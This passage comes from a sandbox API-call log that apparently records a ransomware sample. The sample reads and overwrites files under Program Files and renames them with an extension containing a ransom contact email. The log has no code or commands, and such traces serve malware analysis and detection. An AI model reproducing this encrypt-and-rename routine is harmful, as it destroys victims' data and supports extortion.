lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c94cd3e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x26e, dwReserved0=0x673fd20, dwReserved1=0x6d7040, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4e00 [0225.955] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0225.955] Sleep (dwMilliseconds=0x1) [0225.996] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\index.html", len=0x6f | out: pbstr=0x673ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\index.html") returned 1 [0225.996] GetProcessHeap () returned 0x630000 [0225.996] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x516c) returned 0x6fe3bb0 [0225.997] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0226.407] CloseHandle (hObject=0x6c0) returned 1 [0226.479] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.479] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.480] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.480] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x1007a, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d53c0 [0226.480] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0226.481] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\th-th\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0226.481] GetProcessHeap () returned 0x630000 [0226.481] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71803a8 [0226.481] GetProcessHeap () returned 0x630000 [0226.481] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7219168 [0226.482] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.482] ReadFile (in: hFile=0x6c0, lpBuffer=0x71803a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71803a8*, lpNumberOfBytesRead=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0231.975] GetProcessHeap () returned 0x630000 [0231.975] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71768e0 [0231.975] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.975] WriteFile (in: hFile=0x6c0, lpBuffer=0x7219168*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7219168*, lpNumberOfBytesWritten=0x673ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.132] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.132] WriteFile (in: hFile=0x6c0, lpBuffer=0x7224567*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7224567*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.751] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.751] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.751] CloseHandle (hObject=0x6c0) returned 1 [0233.940] GetProcessHeap () returned 0x630000 [0233.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7219168 | out: hHeap=0x630000) returned 1 [0233.940] GetProcessHeap () returned 0x630000 [0233.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71803a8 | out: hHeap=0x630000) returned 1 [0233.961] GetProcessHeap () returned 0x630000 [0233.961] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71768e0 | out: hHeap=0x630000) returned 1 [0233.961] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0233.961] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5145defb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1009e, dwReserved0=0x95c7496, dwReserved1=0x71803a0, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4ec0 [0233.962] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0233.962] Sleep (dwMilliseconds=0x1) [0235.655] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\index.html", len=0x6f | out: pbstr=0x673ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\index.html") returned 1 [0235.655] GetProcessHeap () returned 0x630000 [0235.655] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fbc) returned 0x6fe3bb0 [0235.655] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0235.668] CloseHandle (hObject=0x6e8) returned 1 [0235.668] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.668] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.125] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.126] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9093, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0236.126] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.126] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0236.126] GetProcessHeap () returned 0x630000 [0236.126] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x90a1) returned 0x74946e8 [0236.126] GetProcessHeap () returned 0x630000 [0236.126] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x90a1) returned 0x749d798 [0236.126] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.126] ReadFile (in: hFile=0x6e8, lpBuffer=0x74946e8, nNumberOfBytesToRead=0x9080, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74946e8*, lpNumberOfBytesRead=0x673ff0c*=0x9080, lpOverlapped=0x0) returned 1 [0242.122] GetProcessHeap () returned 0x630000 [0242.122] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745bea0 [0242.122] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.122] WriteFile (in: hFile=0x6e8, lpBuffer=0x749d798*, nNumberOfBytesToWrite=0x9080, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x749d798*, lpNumberOfBytesWritten=0x673ff0c*=0x9080, lpOverlapped=0x0) returned 1 [0242.122] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.123] WriteFile (in: hFile=0x6e8, lpBuffer=0x74a6817*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74a6817*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0242.123] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.123] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0242.123] CloseHandle (hObject=0x6e8) returned 1 [0242.123] GetProcessHeap () returned 0x630000 [0242.123] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x749d798 | out: hHeap=0x630000) returned 1 [0242.123] GetProcessHeap () returned 0x630000 [0242.123] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74946e8 | out: hHeap=0x630000) returned 1 [0242.123] GetProcessHeap () returned 0x630000 [0242.123] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745bea0 | out: hHeap=0x630000) returned 1 [0243.185] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5642e91e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x90b7, dwReserved0=0x95c7496, dwReserved1=0x74946e0, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4f80 [0243.185] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0243.185] Sleep (dwMilliseconds=0x1) [0243.194] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\StoreLogo.scale-100.png", len=0x8d | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\StoreLogo.scale-100.png") returned 1 [0243.194] GetProcessHeap () returned 0x630000 [0243.195] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52c8) returned 0x6fe3bb0 [0243.195] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\StoreLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\storelogo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.214] Sleep (dwMilliseconds=0x1) [0243.245] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Icon.targetsize-48.png", len=0x8c | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Icon.targetsize-48.png") returned 1 [0243.245] GetProcessHeap () returned 0x630000 [0243.245] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5240) returned 0x6fe3bb0 [0243.245] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Icon.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\icon.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.245] Sleep (dwMilliseconds=0x1) [0243.261] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Triangle_icon.png", len=0x77 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Triangle_icon.png") returned 1 [0243.261] GetProcessHeap () returned 0x630000 [0243.261] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51f8) returned 0x6fe3bb0 [0243.261] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Triangle_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\triangle_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.270] Sleep (dwMilliseconds=0x1) [0243.293] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\heart_icon.png", len=0x74 | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\heart_icon.png") returned 1 [0243.293] GetProcessHeap () returned 0x630000 [0243.293] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5198) returned 0x6fe3bb0 [0243.293] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\heart_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\heart_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.299] Sleep (dwMilliseconds=0x1) [0244.254] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileSmallSquare.scale-100.png", len=0x7f | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileSmallSquare.scale-100.png") returned 1 [0244.254] GetProcessHeap () returned 0x630000 [0244.254] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f60) returned 0x6fe3bb0 [0244.254] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileSmallSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\news_tilesmallsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.255] Sleep (dwMilliseconds=0x1) [0244.268] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_TileLargeSquare.scale-100.png", len=0x8e | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_TileLargeSquare.scale-100.png") returned 1 [0244.268] GetProcessHeap () returned 0x630000 [0244.268] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f2c) returned 0x6fe3bb0 [0244.268] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_TileLargeSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\news_tilelargesquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.270] Sleep (dwMilliseconds=0x1) [0244.280] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_TileMediumSquare.scale-100.png", len=0x8f | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_TileMediumSquare.scale-100.png") returned 1 [0244.280] GetProcessHeap () returned 0x630000 [0244.280] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f08) returned 0x6fe3bb0 [0244.281] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_TileMediumSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\news_tilemediumsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.282] Sleep (dwMilliseconds=0x1) [0244.298] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x", len=0x5e | out: pbstr=0x673ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0244.298] GetProcessHeap () returned 0x630000 [0244.298] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ee4) returned 0x6fe3bb0 [0244.298] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.326] Sleep (dwMilliseconds=0x1) [0249.027] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS", len=0x6c | out: pbstr=0x673ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS") returned 1 [0249.027] GetProcessHeap () returned 0x630000 [0249.027] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e0c) returned 0x6fe3bb0 [0249.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0249.028] CloseHandle (hObject=0x648) returned 1 [0249.028] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.028] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\enes\\msb1enes.its"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\enes\\msb1enes.its.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.029] MultiByteToWideChar (in: 